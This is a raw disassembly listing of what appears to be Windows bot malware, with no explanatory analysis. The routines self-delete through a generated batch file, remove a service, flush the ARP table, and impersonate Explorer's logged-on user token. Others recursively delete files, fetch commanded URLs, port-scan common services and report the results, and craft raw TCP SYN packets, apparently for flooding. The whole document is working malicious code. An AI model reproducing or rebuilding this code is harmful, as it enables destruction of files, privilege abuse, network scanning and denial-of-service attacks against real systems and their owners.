push edx
call sub_429ACC
cdq
idiv edi
lea eax, [ebp+var_80C]
push edx
push offset dword_44399C
push eax
lea eax, [ebp+var_20C]
push offset aSSIIII_bat ; "%s\\%s%i%i%i%i.bat"
push eax
call sub_429A33
add esp, 20h
lea eax, [ebp+var_108]
push 80h
push eax
call dword_437068 ; SetFileAttributesA
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_20C]
push 40000000h
push eax
call dword_43705C ; CreateFileA
mov edi, eax
cmp edi, esi
jbe short loc_427CDD
lea eax, [ebp+var_108]
cmp [ebp+arg_0], esi
push eax
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_40C]
jnz short loc_427C95
push offset a@echoOffRepeat ; "@echo off\r\n:Repeat\r\ndel \"%s\">nul\r\nping "...
jmp short loc_427C9A
; ---------------------------------------------------------------------------
loc_427C95: ; CODE XREF: sub_427BB8+D4j
push offset a@echoOffRepe_0 ; "@echo off\r\n:Repeat\r\ndel \"%s\">nul\r\nif ex"...
loc_427C9A: ; CODE XREF: sub_427BB8+DBj
push eax
call sub_429A33
add esp, 14h
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_40C]
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_40C]
push eax
push edi
call dword_437078 ; WriteFile
push edi
call dword_437044 ; CloseHandle
push esi
push esi
lea eax, [ebp+var_20C]
push esi
push eax
push esi
push esi
call dword_456E54 ; ShellExecuteA
loc_427CDD: ; CODE XREF: sub_427BB8+B4j
pop edi
pop esi
leave
retn
sub_427BB8 endp
; =============== S U B R O U T I N E =======================================
sub_427CE1 proc near ; CODE XREF: sub_40A938+B1Bp
; sub_4181F4+645p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_456F08 ; OpenSCManagerA
push 0F01FFh
push offset dword_4439B0
push eax
call dword_456DA8 ; OpenServiceA
push eax
call dword_456E30 ; DeleteService
mov edi, offset byte_443B3B
mov esi, offset dword_443A3C
push edi
push esi
push dword_443A38
call sub_420EA3
push edi
push esi
push 80000001h
call sub_420EA3
add esp, 18h
cmp [esp+0Ch+arg_4], ebx
jz short loc_427D64
push offset byte_445403
push offset dword_445304
push dword_445300
call sub_420EA3
push offset byte_445813
push offset dword_445714
push dword_445710
call sub_420EA3
add esp, 18h
loc_427D64: ; CODE XREF: sub_427CE1+54j
push dword_457F44
call dword_4370CC ; ReleaseMutex
cmp [esp+0Ch+arg_0], ebx
jnz short loc_427D82
call sub_4234DB
push ebx
call sub_427BB8
pop ecx
loc_427D82: ; CODE XREF: sub_427CE1+93j
pop edi
pop esi
pop ebx
retn
sub_427CE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427D86 proc near ; CODE XREF: sub_41C172+C1p
; sub_41C172+E4p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_675FC0
push 0
push edi
call sub_429690
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_427DAB: ; CODE XREF: sub_427D86+5Bj
; sub_427D86+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_42BD00
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_42BD80
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_427DE9
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_427DAB
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_427DAB
; ---------------------------------------------------------------------------
loc_427DE9: ; CODE XREF: sub_427D86+4Bj
mov eax, edi
jmp short loc_427DF2
; ---------------------------------------------------------------------------
loc_427DED: ; CODE XREF: sub_427D86+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_427DF2: ; CODE XREF: sub_427D86+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_427DED
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_427D86 endp
; =============== S U B R O U T I N E =======================================
sub_427E04 proc near ; CODE XREF: sub_418EDB+5C6p
mov ecx, dword_456DF4
xor eax, eax
test ecx, ecx
jz short locret_427E12
jmp ecx
; ---------------------------------------------------------------------------
locret_427E12: ; CODE XREF: sub_427E04+Aj
retn
sub_427E04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E13 proc near ; CODE XREF: sub_40A938+2821p
; sub_41EB23+33p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_456FAC ; GetIpNetTable
sub eax, edi
jz short loc_427E72
sub eax, 32h
jz short loc_427E6D
sub eax, 48h
jnz short loc_427E6D
push [ebp+var_8]
call sub_4296E8
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_429690
add esp, 10h
cmp esi, edi
jz short loc_427E6D
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_456FAC ; GetIpNetTable
test eax, eax
jz short loc_427E72
loc_427E6D: ; CODE XREF: sub_427E13+28j
; sub_427E13+2Dj ...
mov [ebp+var_4], edi
jmp short loc_427E88
; ---------------------------------------------------------------------------
loc_427E72: ; CODE XREF: sub_427E13+23j
; sub_427E13+58j
cmp [esi], edi
jbe short loc_427E88
lea ebx, [esi+4]
loc_427E79: ; CODE XREF: sub_427E13+73j
push ebx
call dword_456FA8 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_427E79
loc_427E88: ; CODE XREF: sub_427E13+5Dj
; sub_427E13+61j
push esi
call sub_429822
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_427E13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E97 proc near ; CODE XREF: sub_427F4E+9p
var_110C = dword ptr -110Ch
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 110Ch
call sub_429A90
push ebx
push esi
lea eax, [ebp+var_4]
push edi
push eax
lea eax, [ebp+var_110C]
push 1000h
push eax
call dword_456F10
test eax, eax
jz short loc_427F3E
mov edi, [ebp+var_4]
push 0
shr edi, 2
pop esi
jz short loc_427F3E
loc_427ECC: ; CODE XREF: sub_427E97+A5j
lea eax, [ebp+var_10C]
push offset aUnknown ; "unknown"
push eax
call dword_4370A4 ; lstrcpyA
push [ebp+esi*4+var_110C]
push 0
push 411h
call dword_437104 ; OpenProcess
mov ebx, eax
test ebx, ebx
jz short loc_427F39
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 4
push eax
push ebx
call dword_456ECC
test eax, eax
jz short loc_427F39
lea eax, [ebp+var_10C]
push 104h
push eax
push [ebp+var_8]
push ebx
call dword_456E00
lea eax, [ebp+var_10C]
push eax
push offset aExplorer_exe ; "Explorer.exe"
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_427F45
loc_427F39: ; CODE XREF: sub_427E97+5Fj
; sub_427E97+74j
inc esi
cmp esi, edi
jb short loc_427ECC
loc_427F3E: ; CODE XREF: sub_427E97+28j
; sub_427E97+33j
xor eax, eax
loc_427F40: ; CODE XREF: sub_427E97+B5j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_427F45: ; CODE XREF: sub_427E97+A0j
mov eax, [ebp+esi*4+var_110C]
jmp short loc_427F40
sub_427E97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427F4E proc near ; CODE XREF: sub_4053EE+Cp
; sub_423BB1:loc_423C26p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push edi
call sub_427E97
test eax, eax
jz short loc_427F9E
push eax
push 1
push 1F0FFFh
call dword_437104 ; OpenProcess
mov edi, eax
test edi, edi
jz short loc_427F9E
lea eax, [ebp+var_4]
push esi
push eax
push 0Ah
push edi
call dword_456EF8 ; OpenProcessToken
mov esi, dword_437044
test eax, eax
jz short loc_427F9A
push [ebp+var_4]
call dword_456FEC ; ImpersonateLoggedOnUser
push [ebp+var_4]
call esi ; dword_437044
loc_427F9A: ; CODE XREF: sub_427F4E+3Cj
push edi
call esi ; dword_437044
pop esi
loc_427F9E: ; CODE XREF: sub_427F4E+10j
; sub_427F4E+24j
pop edi
leave
retn
sub_427F4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427FA1 proc near ; CODE XREF: sub_423BB1+18p
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 178h
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_C], ebx
call dword_456F08 ; OpenSCManagerA
mov [ebp+var_4], eax
loc_427FC2: ; CODE XREF: sub_427FA1+7Fj
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_178]
push 168h
push eax
push 3
push 30h
push [ebp+var_4]
call dword_456EC0 ; EnumServicesStatusA
test eax, eax
jnz short loc_427FF8
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz short loc_428022
loc_427FF8: ; CODE XREF: sub_427FA1+48j
xor edi, edi
cmp [ebp+var_8], ebx
jle short loc_42801D
lea esi, [ebp+var_178]
loc_428005: ; CODE XREF: sub_427FA1+7Aj
push [ebp+arg_0]
push dword ptr [esi]
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_428032
inc edi
add esi, 24h
cmp edi, [ebp+var_8]
jl short loc_428005
loc_42801D: ; CODE XREF: sub_427FA1+5Cj
cmp [ebp+var_C], ebx
jnz short loc_427FC2
loc_428022: ; CODE XREF: sub_427FA1+55j
push [ebp+var_4]
call dword_456DC4 ; CloseServiceHandle
xor eax, eax
loc_42802D: ; CODE XREF: sub_427FA1+A3j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_428032: ; CODE XREF: sub_427FA1+71j
lea eax, [edi+edi*8]
xor ecx, ecx
cmp [ebp+eax*4+var_16C], 4
setz cl
mov eax, ecx
jmp short loc_42802D
sub_427FA1 endp
; =============== S U B R O U T I N E =======================================
sub_428046 proc near ; CODE XREF: sub_40A938+4CD0p
; sub_428046+C7p
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_114 = byte ptr -114h
arg_0 = dword ptr 4
sub esp, 144h
push ebx
mov ebx, dword_437148
push ebp
push esi
mov esi, [esp+150h+arg_0]
push edi
push esi
call ebx ; dword_437148
push esi
call sub_4292D0
add eax, 4
push eax
call sub_4296E8
pop ecx
mov edi, eax
pop ecx
push esi
push edi
call dword_4370A4 ; lstrcpyA
mov ebp, dword_437090
push offset a_ ; "\\*.*"
push edi
call ebp ; dword_437090
lea eax, [esp+154h+var_140]
push eax
push edi
call dword_437144 ; FindFirstFileA
mov [esp+154h+var_144], eax
loc_428099: ; CODE XREF: sub_428046+F3j
; sub_428046+10Fj
cmp [esp+154h+var_144], 0FFFFFFFFh
jz loc_42815E
push esi
call sub_4292D0
mov edi, eax
lea eax, [esp+158h+var_114]
push eax
call sub_4292D0
lea eax, [edi+eax+1]
push eax
call sub_4296E8
add esp, 0Ch
mov edi, eax
push esi
push edi
call dword_4370A4 ; lstrcpyA
push offset asc_44DA9C ; "\\"
push edi
call ebp ; dword_437090
lea eax, [esp+154h+var_114]
push eax
push edi
call ebp ; dword_437090
lea eax, [esp+154h+var_114]
push offset dword_43AB8C
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_428141
lea eax, [esp+154h+var_114]
push offset a__ ; ".."
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_428141
test [esp+154h+var_140], 10h
jz short loc_428115
push edi
call sub_428046
pop ecx
jmp short loc_428128
; ---------------------------------------------------------------------------
loc_428115: ; CODE XREF: sub_428046+C4j
push 80h
push edi
call dword_437068 ; SetFileAttributesA
push edi
call dword_437060 ; DeleteFileA
loc_428128: ; CODE XREF: sub_428046+CDj
lea eax, [esp+154h+var_140]
push eax
push [esp+158h+var_144]
call dword_437140 ; FindNextFileA
test eax, eax
jnz loc_428099
jmp short loc_42815E
; ---------------------------------------------------------------------------
loc_428141: ; CODE XREF: sub_428046+A9j
; sub_428046+BDj
push edi
call ebx ; dword_437148
lea eax, [esp+154h+var_140]
push eax
push [esp+158h+var_144]
call dword_437140 ; FindNextFileA
test eax, eax
jnz loc_428099
push esi
call ebx ; dword_437148
loc_42815E: ; CODE XREF: sub_428046+58j
; sub_428046+F9j
push [esp+154h+var_144]
call dword_43713C ; FindClose
push 10h
push esi
call dword_437068 ; SetFileAttributesA
push esi
call ebx ; dword_437148
pop edi
pop esi
pop ebp
pop ebx
add esp, 144h
retn
sub_428046 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42817F proc near ; DATA XREF: sub_40A938+8250o
var_2B6C = byte ptr -2B6Ch
var_45C = byte ptr -45Ch
var_35C = byte ptr -35Ch
var_2DC = byte ptr -2DCh
var_25C = byte ptr -25Ch
var_1DC = dword ptr -1DCh
var_1D8 = byte ptr -1D8h
var_158 = byte ptr -158h
var_D8 = byte ptr -0D8h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2B6Ch
call sub_429A90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_1DC]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
mov eax, [ebp+var_1DC]
mov [ebp+arg_0], eax
push edi
lea eax, [ebp+var_35C]
push ebx
push eax
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_C], offset asc_450DB8 ; "*/*"
call sub_429690
push edi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_429690
push edi
lea eax, [ebp+var_25C]
push ebx
push eax
call sub_429690
push 100h
lea eax, [ebp+var_45C]
push ebx
push eax
call sub_429690
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_429690
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_1D8]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_1D8]
push eax
call dword_456DC8 ; InternetCrackUrlA
test eax, eax
jz loc_428331
cmp [ebp+var_34], ebx
jbe short loc_428263
push [ebp+var_34]
lea eax, [ebp+var_35C]
push [ebp+var_38]
push eax
call sub_429C40
add esp, 0Ch
loc_428263: ; CODE XREF: sub_42817F+CDj
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_428281
push [ebp+var_28]
lea eax, [ebp+var_2DC]
push [ebp+var_2C]
push eax
call sub_429C40
add esp, 0Ch
loc_428281: ; CODE XREF: sub_42817F+EBj
cmp [ebp+var_20], ebx
jbe short loc_42829B
push [ebp+var_20]
lea eax, [ebp+var_25C]
push [ebp+var_24]
push eax
call sub_429C40
add esp, 0Ch
loc_42829B: ; CODE XREF: sub_42817F+105j
cmp [ebp+var_18], ebx
jbe short loc_4282B5
push [ebp+var_18]
lea eax, [ebp+var_45C]
push [ebp+var_1C]
push eax
call sub_429C40
add esp, 0Ch
loc_4282B5: ; CODE XREF: sub_42817F+11Fj
push ebx
push ebx
lea eax, [ebp+var_25C]
push 3
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_35C]
push esi
push eax
push dword_456EB0
call dword_456EE0 ; InternetConnectA
mov edi, eax
cmp edi, ebx
jz short loc_42834C
push ebx
lea eax, [ebp+var_C]
push 200h
push eax
lea eax, [ebp+var_158]
push eax
lea eax, [ebp+var_45C]
push ebx
push eax
push ebx
push edi
call dword_456ED0 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_428358
push ebx
push ebx
push ebx
push ebx
push eax
call dword_456E5C ; HttpSendRequestA
test eax, eax
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
lea eax, [ebp+var_2B6C]
jz short loc_42832A
push offset aSUrlVisited_ ; "%s URL visited."
jmp short loc_428368
; ---------------------------------------------------------------------------
loc_42832A: ; CODE XREF: sub_42817F+1A2j
push offset aSFailedToGetRe ; "%s Failed to get requested URL from HTT"...
jmp short loc_428368
; ---------------------------------------------------------------------------
loc_428331: ; CODE XREF: sub_42817F+C4j
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
lea eax, [ebp+var_2B6C]
push offset aSInvalidUrl_ ; "%s Invalid URL."
push eax
call sub_429A33
mov edi, [ebp+var_8]
jmp short loc_42836E
; ---------------------------------------------------------------------------
loc_42834C: ; CODE XREF: sub_42817F+160j
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push offset aSCouldNotOpenA ; "%s Could not open a connection."
jmp short loc_428362
; ---------------------------------------------------------------------------
loc_428358: ; CODE XREF: sub_42817F+188j
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push offset aSFailedToConne ; "%s Failed to connect to HTTP server."
loc_428362: ; CODE XREF: sub_42817F+1D7j
lea eax, [ebp+var_2B6C]
loc_428368: ; CODE XREF: sub_42817F+1A9j
; sub_42817F+1B0j
push eax
call sub_429A33
loc_42836E: ; CODE XREF: sub_42817F+1CBj
add esp, 0Ch
cmp [ebp+var_54], ebx
mov esi, offset aS_5 ; "%s"
jnz short loc_42839A
cmp [ebp+var_50], ebx
jnz short loc_42839F
lea eax, [ebp+var_2B6C]
push eax
lea eax, [ebp+var_D8]
push esi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 10h
loc_42839A: ; CODE XREF: sub_42817F+1FAj
cmp [ebp+var_50], ebx
jz short loc_4283B9
loc_42839F: ; CODE XREF: sub_42817F+1FFj
lea eax, [ebp+var_2B6C]
push eax
lea eax, [ebp+var_D8]
push esi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 10h
loc_4283B9: ; CODE XREF: sub_42817F+21Ej
push edi
call dword_456F50 ; InternetCloseHandle
push [ebp+var_4]
call dword_456F50 ; InternetCloseHandle
push [ebp+var_58]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
pop edi
pop esi
pop ebx
sub_42817F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4283DC proc near ; DATA XREF: sub_40A938+6D9Eo
var_124 = dword ptr -124h
var_120 = byte ptr -120h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 124h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_124]
rep movsd
mov dword ptr [eax+120h], 1
mov eax, [ebp+var_124]
xor ecx, ecx
mov [ebp+arg_0], eax
cmp [ebp+var_8], ecx
mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
mov edi, offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
mov esi, offset aSSPortsHitS ; "%s %s, ports hit: (%s)"
jnz short loc_42845A
cmp [ebp+var_C], ecx
jnz short loc_42845F
push [ebp+var_14]
lea edx, [ebp+var_120]
push [ebp+var_18]
push edx
push ecx
push ecx
lea ecx, [ebp+var_A0]
push ecx
push eax
call sub_428597
push eax
push ebx
push edi
lea eax, [ebp+var_A0]
push esi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 34h
xor ecx, ecx
loc_42845A: ; CODE XREF: sub_4283DC+43j
cmp [ebp+var_C], ecx
jz short loc_42849A
loc_42845F: ; CODE XREF: sub_4283DC+48j
push [ebp+var_14]
lea eax, [ebp+var_120]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push [ebp+var_C]
push [ebp+var_8]
push eax
push [ebp+var_124]
call sub_428597
push eax
push ebx
push edi
lea eax, [ebp+var_A0]
push esi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 34h
loc_42849A: ; CODE XREF: sub_4283DC+81j
push [ebp+var_20]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
pop edi
pop esi
pop ebx
sub_4283DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4284AE proc near ; CODE XREF: sub_428597+116p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_4284D7
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4372C8
jmp loc_428593
; ---------------------------------------------------------------------------
loc_4284D7: ; CODE XREF: sub_4284AE+13j
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
xor edi, edi
push eax
inc edi
push 8004667Eh
push esi
mov [ebp+var_8], edi
call dword_43728C
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_456E9C ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_456EFC ; select
test eax, eax
jnz short loc_42853B
or eax, 0FFFFFFFFh
jmp short loc_428593
; ---------------------------------------------------------------------------
loc_42853B: ; CODE XREF: sub_4284AE+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_428546
loc_428542: ; CODE XREF: sub_4284AE+B8j
; sub_4284AE+DCj
mov eax, edi
jmp short loc_428593
; ---------------------------------------------------------------------------
loc_428546: ; CODE XREF: sub_4284AE+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_428FF4
test eax, eax
jnz short loc_428568
lea eax, [ebp+var_210]
push eax
push esi
call sub_428FF4
test eax, eax
jz short loc_428542
loc_428568: ; CODE XREF: sub_4284AE+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call dword_4372E4
cmp eax, edi
jz short loc_428542
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_428593: ; CODE XREF: sub_4284AE+24j
; sub_4284AE+8Bj ...
pop edi
pop esi
leave
retn
sub_4284AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428597 proc near ; CODE XREF: sub_4283DC+61p
; sub_4283DC+A3p
var_AC = dword ptr -0ACh
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = byte ptr -90h
var_64 = word ptr -64h
var_62 = word ptr -62h
var_60 = dword ptr -60h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 9Ch
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
xor esi, esi
push ebx
push esi
push esi
push 0FFh
push 3
push 2
mov [ebp+var_14], ebx
call dword_4372C4
lea eax, [ebp+var_14]
push 4
push eax
push 2
push esi
push esi
mov dword_6764D8, esi
call dword_437288
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
xor eax, eax
lea edi, [ebp+var_20]
mov [ebp+var_54], ebx
mov [ebp+var_50], 15h
mov [ebp+var_4C], 16h
mov [ebp+var_48], 17h
mov [ebp+var_44], 35h
mov [ebp+var_40], 50h
mov [ebp+var_3C], 71h
mov [ebp+var_38], 87h
mov [ebp+var_34], 8Bh
mov [ebp+var_30], 1BDh
mov [ebp+var_2C], 0CEAh
mov [ebp+var_28], 0D3Dh
mov [ebp+var_24], 1A0Bh
stosd
push 0Bh
lea edi, [ebp+var_90]
pop ecx
mov [ebp+var_9C], esi
mov [ebp+var_98], esi
mov [ebp+var_94], esi
rep stosd
mov [ebp+var_C], esi
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], esi
loc_42866E: ; CODE XREF: sub_428597+143j
push [ebp+arg_10]
mov [ebp+var_64], 2
call sub_41E326
mov [ebp+var_60], eax
mov eax, [ebp+var_4]
pop ecx
lea edi, [ebp+eax+var_54]
mov ax, [edi]
push eax
call dword_456F18 ; ntohs
push esi
push ebx
push 2
mov [ebp+var_62], ax
call dword_456FB0 ; socket
lea ecx, [ebp+var_1C]
mov [ebp+var_8], eax
push ecx
lea ecx, [ebp+var_64]
push 10h
push ecx
push eax
call sub_4284AE
add esp, 10h
mov [ebp+var_10], eax
push [ebp+var_8]
call dword_456FD0 ; closesocket
cmp [ebp+var_10], esi
jnz short loc_4286D2
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_9C], eax
loc_4286D2: ; CODE XREF: sub_428597+12Dj
add [ebp+var_4], 4
cmp [ebp+var_4], 38h
jl short loc_42866E
mov edi, 400h
push offset asc_43D938 ; " "
push edi
push offset dword_6764E0
call sub_429AEE
add esp, 0Ch
call dword_437184 ; GetTickCount
mov [ebp+var_8], eax
mov [ebp+var_4], esi
mov ebx, 0FFFFh
loc_428705: ; CODE XREF: sub_428597+1CBj
call dword_437184 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_14]
ja short loc_428764
mov eax, [ebp+var_4]
mov eax, [ebp+eax*4+var_9C]
cmp eax, esi
jz short loc_428745
mov [ebp+var_C], eax
push eax
mov eax, offset dword_6764E0
push eax
push offset aSD ; "%s%d "
push edi
push eax
call sub_429AEE
add esp, 14h
jmp short loc_42875B
; ---------------------------------------------------------------------------
loc_428745: ; CODE XREF: sub_428597+191j
push ebx
push esi
call sub_41E34F
pop ecx
pop ecx
push eax
call dword_456F18 ; ntohs
movzx eax, ax
mov [ebp+var_C], eax
loc_42875B: ; CODE XREF: sub_428597+1ACj
inc [ebp+var_4]
cmp [ebp+var_4], 0Eh
jl short loc_428705
loc_428764: ; CODE XREF: sub_428597+183j
; sub_428597+409j
push 28h
push esi
push offset byte_67647C
call sub_429690
push ebx
push edi
mov byte_67647C, 45h
mov byte_676485, 6
mov byte_67647D, 8
call sub_41E34F
add esp, 14h
push eax
call dword_456F18 ; ntohs
push 28h
mov word_676480, ax
call dword_456F18 ; ntohs
push [ebp+arg_10]
mov word_67647E, ax
mov word_676482, si
mov byte_676484, 40h
call sub_41E326
mov edi, eax
mov [esp+0ACh+var_AC], 0FFFEh
push 1
and edi, ebx
call sub_41E34F
push [ebp+arg_10]
shl eax, 20h
or eax, edi
mov dword_676488, eax
call sub_41E326
and byte_67649D, 0
add esp, 0Ch
mov dword_67648C, eax
push 2000h
call dword_456F18 ; ntohs
push ebx
push esi
mov word_67649E, ax
call sub_41E34F
mov edi, eax
push ebx
push esi
shl edi, 8
call sub_41E34F
add esp, 10h
add edi, eax
push edi
call dword_456F14 ; ntohl
mov dword_676494, eax
mov al, byte_67649C
push [ebp+arg_10]
and al, 0Fh
or al, 50h
mov dword_676498, esi
mov byte_67649C, al
mov ax, word ptr [ebp+var_C]
mov word_6764A2, si
mov word_676492, ax
call sub_41E326
and byte_6764BC, 0
pop ecx
push 14h
mov dword_6764B8, eax
mov byte_6764BD, 6
call dword_456F18 ; ntohs
push [ebp+arg_10]
mov word_6764BE, ax
mov word_6764A4, 2
call sub_41E326
mov dword_6764A8, eax
mov ax, word_676492
pop ecx
mov word_6764A6, ax
mov [ebp+var_4], esi
jmp short loc_4288A2
; ---------------------------------------------------------------------------
loc_4288A0: ; CODE XREF: sub_428597+3DCj
xor esi, esi
